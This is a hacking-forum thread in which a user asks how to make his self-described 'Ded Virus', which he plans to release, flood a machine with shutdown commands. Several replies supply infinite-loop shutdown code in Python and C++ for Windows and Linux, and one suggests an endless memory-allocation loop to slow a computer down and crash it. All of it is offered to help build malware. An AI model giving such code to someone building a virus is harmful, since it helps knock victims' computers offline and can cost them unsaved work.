Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

How can I implement this?

I'm trying to find out what will happen if we Flood Command Prompt with Shutdown command. I cannot test this Idea on my system. I cannot take this risk. The Latest update for Ded Virus created by me, Before I release it.

If anyone can tell me, I would appreciate that.

🤝
I recommend you to setup an virtual machine with VirtualBox and install Windows of your choice on it for your testing purpose. It won't matter if you break the virtual machine because you can just re-create it.
The computer would shut down.

If you wanted to implement something like this in python, it's super easy (remember shutdown and reboot are ring 3 operation, every single user, including one with least privilege should be able to do it).
FOR WINDOWS
Code
import os
while True:
        os.system('shutdown -s')

If you run the program, it will again and again pass on the shutdown command.

FOR LINUX
Code
import os
while True:
      os.system("poweroff")

Though you could do it without a loop (while in this case) because shutdown and reboot commands are always honoured by the system.
(Sep 18, 2017 05:27 AM)Asdethprime Wrote:  The computer would shut down.

If you wanted to implement something like this in python, it's super easy (remember shutdown and reboot are ring 3 operation, every single user, including one with least privilege should be able to do it).
FOR WINDOWS
Code
import os
while True:
        os.system('shutdown -s')

If you run the program, it will again and again pass on the shutdown command.

FOR LINUX
Code
import os
while True:
      os.system("poweroff")

Though you could do it without a loop (while in this case) because shutdown and reboot commands are always honoured by the system.
I have a lot of knowledge with Python Firsthand. But in this case I'm using C++ because Compiled .exe is a lot smaller file than if compiled in Python.

I will try this out for sure. You have also given me a Hint on where to start. Thank you. 👍


(Sep 18, 2017 03:25 AM)Aveling Wrote:  I recommend you to setup an virtual machine with VirtualBox and install Windows of your choice on it for your testing purpose. It won't matter if you break the virtual machine because you can just re-create it.

How can I set it up?
(Sep 18, 2017 06:44 AM)F.A.S.T Wrote:  I have a lot of knowledge with Python Firsthand. But in this case I'm using C++ because Compiled .exe is a lot smaller file than if compiled in Python.

I will try this out for sure. You have also given me a Hint on where to start. Thank you. 👍

It's the same in C++ too.
Code
#include<stdlib.h>

int main (void)  /*or whatever you have the main's return type as*/
{
        while(1)
             system("shutdown -s");
         return 0;  /*though it's going to shutdown regardless */
}

EDIT: Dammit keep forgetting to put the signature on:

[Image: necUPcc.png]
It would shutdown. After the first shutdown the script would shut down the computer then stop running, because, well the computer is shut down.
(Sep 18, 2017 07:45 AM)Asdethprime Wrote:  It's the same in C++ too.
Code
#include<stdlib.h>

int main (void)  /*or whatever you have the main's return type as*/
{
        while(1)
             system("shutdown -s");
         return 0;  /*though it's going to shutdown regardless */
}

EDIT: Dammit keep forgetting to put the signature on:

[Image: necUPcc.png]

Thank you for this. You really are a Helpful Guy.


(Sep 18, 2017 08:05 AM)r3dpyr4mid Wrote:  It would shutdown. After the first shutdown the script would shut down the computer then stop running, because, well the computer is shut down.

My thoughts exactly.

But what If we are able to crash the computer by cmd flood? 😧
You are most welcome.

If all you are trying to do is crash a computer there are other ways. For example, within the infinite look [as with the above example] put a random malloc statement. Malloc, requests memory from the operating system. The memory can either be freed using free() , or they are automatically feed once the program's execution ends.

If the program continues to ask for extra memory, eventually your computer is bound to run out of it. That should first massively slow down your computer to a grinding halt before crashing.
(Sep 18, 2017 09:52 AM)Asdethprime Wrote:  You are most welcome.

If all you are trying to do is crash a computer there are other ways. For example, within the infinite look [as with the above example] put a random malloc statement. Malloc, requests memory from the operating system. The memory can either be freed using free() , or they are automatically feed once the program's execution ends.

If the program continues to ask for extra memory, eventually your computer is bound to run out of it. That should first massively slow down your computer to a grinding halt before crashing.

Got it! Added to Buddy List. Resourceful guy


Possibly Related Threads...
Thread / Author Replies Views Last Post
by F.A.S.TSep 24, 2017 11:52 AM 5 146 Sep 24, 2017 11:52 AM
Last Post: Mastery_LostAccount
by InYourBIOSlolOct 2, 2016 03:23 PM 2 227 Oct 2, 2016 03:23 PM
Last Post: LanMan
by Controllable.Nov 30, 2012 08:53 PM 2 83 Nov 30, 2012 08:53 PM
Last Post: Controllable.